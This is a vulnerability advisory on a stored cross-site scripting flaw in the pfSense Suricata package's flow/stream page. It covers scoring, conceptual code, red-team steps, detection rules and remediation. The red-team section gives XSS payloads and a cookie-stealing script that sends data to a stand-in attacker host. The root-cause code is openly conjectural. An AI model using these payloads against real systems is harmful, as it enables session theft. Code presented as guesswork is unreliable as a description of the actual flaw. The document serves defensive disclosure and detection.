CVE-2025-34177

Executive Summary

CVE-2025-34177 is a stored cross-site scripting (XSS) vulnerability discovered in the pfSense CE web interface, specifically within the Suricata package's flow/stream viewer (/suricata/suricata_flow_stream.php). An authenticated attacker with at least "WebCfg - Services: suricata package" permissions can inject arbitrary HTML and JavaScript into the policy_name parameter. This input is not sanitized before being displayed, leading to persistent XSS. The impact is limited to the context of the authenticated user's session, but could be used to steal session cookies, perform actions on behalf of the victim, or deface the interface. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core web application issue within the pfSense CE distribution. The Suricata package is a standard add-on for pfSense, and the vulnerability lies in its PHP-based web interface.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) / Estimated 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network - The vulnerability is exploitable over the network via the web interface.
• Attack Complexity (AC): Low - No special conditions are required; the attacker simply needs to craft a malicious request.
• Privileges Required (PR): Low - The attacker must be authenticated with specific Suricata package permissions.
• User Interaction (UI): Required - The victim (another admin) must view the affected page.
• Scope (S): Changed - The XSS can affect resources beyond the vulnerable component (e.g., session cookies).
• Confidentiality (C): Low - Limited data exposure (e.g., session tokens).
• Integrity (I): Low - Limited ability to modify content or perform actions.
• Availability (A): None - No direct impact on availability.

Threat Level: Medium. The requirement for authentication and specific permissions reduces the attack surface, but the stored nature of the XSS makes it persistent and dangerous for internal users.

Deep Dive & Mechanics

The vulnerability resides in the PHP file /usr/local/www/suricata/suricata_flow_stream.php. This script is part of the pfSense Suricata package and is used to display flow/stream data from Suricata alerts.

Root Cause: The policy_name parameter is retrieved from user input (likely via GET or POST request) and is directly echoed into the HTML output without any sanitization or encoding. Specifically, the code likely does something like:

echo "<td>" . $_GET['policy_name'] . "</td>";

Instead of properly escaping the output using htmlspecialchars() or similar functions.

Attack Flow:

1. An authenticated attacker with the required permissions navigates to the Suricata flow/stream page.
2. The attacker crafts a URL or POST request where the policy_name parameter contains a malicious JavaScript payload, e.g.: policy_name=<script>alert('XSS')</script>
3. The server stores this value (likely in a session variable or database) and displays it on the page.
4. When another authenticated administrator views the same page, the malicious script executes in their browser.

Why Stored XSS is Dangerous: Unlike reflected XSS, the payload persists. Every time the page is loaded, the script executes. This can be used to steal session cookies, redirect users to phishing pages, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct output without sanitization
$policy_name = $_GET['policy_name'];
echo "<td>$policy_name</td>";

Patched Code (Conceptual):

// Patched: Use htmlspecialchars to escape HTML entities
$policy_name = $_GET['policy_name'];
echo "<td>" . htmlspecialchars($policy_name, ENT_QUOTES, 'UTF-8') . "</td>";

The fix involves using htmlspecialchars() (or equivalent) to convert special characters like <, >, ", ', and & into their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a pfSense CE instance with the Suricata package installed.
• Valid credentials for a user with "WebCfg - Services: suricata package" permissions.

Exploitation Steps:

1. Log in to the pfSense web interface.
2. Navigate to the Suricata flow/stream page (e.g., /suricata/suricata_flow_stream.php).
3. Craft a malicious request with a JavaScript payload in the policy_name parameter. Example using a simple GET request:

   https://target-pfsense/suricata/suricata_flow_stream.php?policy_name=<script>alert(document.cookie)</script>
   

4. Submit the request. The payload will be stored and displayed on the page.
5. When another admin views the page, the script executes, potentially stealing their session cookie.

Advanced Payload (Cookie Stealing):

<script>
fetch('https://attacker-controlled.com/steal?cookie=' + document.cookie);
</script>

Note: No public exploit code is available, but the above demonstrates the attack vector.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /suricata/suricata_flow_stream.php containing suspicious policy_name values (e.g., <script, onerror=, javascript:).
• Use a Web Application Firewall (WAF) to block requests with HTML/JavaScript in the policy_name parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding as described in the patched code section.
• Restrict access to the Suricata package pages to only trusted administrators.
• Regularly update pfSense and its packages.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /suricata/suricata_flow_stream.php with policy_name containing HTML tags or JavaScript.
• Outbound connections from the pfSense web interface to unknown external domains (if cookie stealing is attempted).

Host IOCs:

• Modified PHP files in /usr/local/www/suricata/ (if an attacker uploads a backdoor).
• Unusual entries in the pfSense system log related to Suricata package access.

Log Examples:

192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "GET /suricata/suricata_flow_stream.php?policy_name=<script>alert(1)</script> HTTP/1.1" 200 1234

Detection Engineering

YARA Rule

rule CVE_2025_34177_Suricata_XSS {
    meta:
        description = "Detects potential XSS payloads in Suricata flow/stream requests"
        author = "Valters IT"
        date = "2025-01-01"
        cve = "CVE-2025-34177"
    strings:
        $xss_payload = /policy_name=.*<script/i
        $xss_payload2 = /policy_name=.*onerror=/i
        $xss_payload3 = /policy_name=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-34177 - Stored XSS in pfSense Suricata Flow Stream
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS in pfSense Suricata package
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/suricata/suricata_flow_stream.php'
        cs-uri-query|re: '(policy_name=.*<script|policy_name=.*onerror=|policy_name=.*javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in policy names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-34177 - Stored XSS in pfSense Suricata Flow Stream"; flow:to_server,established; content:"/suricata/suricata_flow_stream.php"; http_uri; pcre:"/policy_name=.*(<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit access to the Suricata package pages to only essential administrators using pfSense's built-in user permissions.
2. Input Validation: Manually patch the vulnerable file by adding htmlspecialchars() to the policy_name output.
3. Web Application Firewall: Deploy a WAF (e.g., ModSecurity) with rules to block XSS payloads in the policy_name parameter.

Long-Term Fix:

• Wait for an official patch from pfSense. Monitor the pfSense security advisories and update the Suricata package as soon as a fix is released.
• Consider disabling the Suricata package if not strictly necessary.

Workaround:

• If patching is not possible, remove the policy_name parameter from the URL or modify the PHP code to ignore it.

Valters IT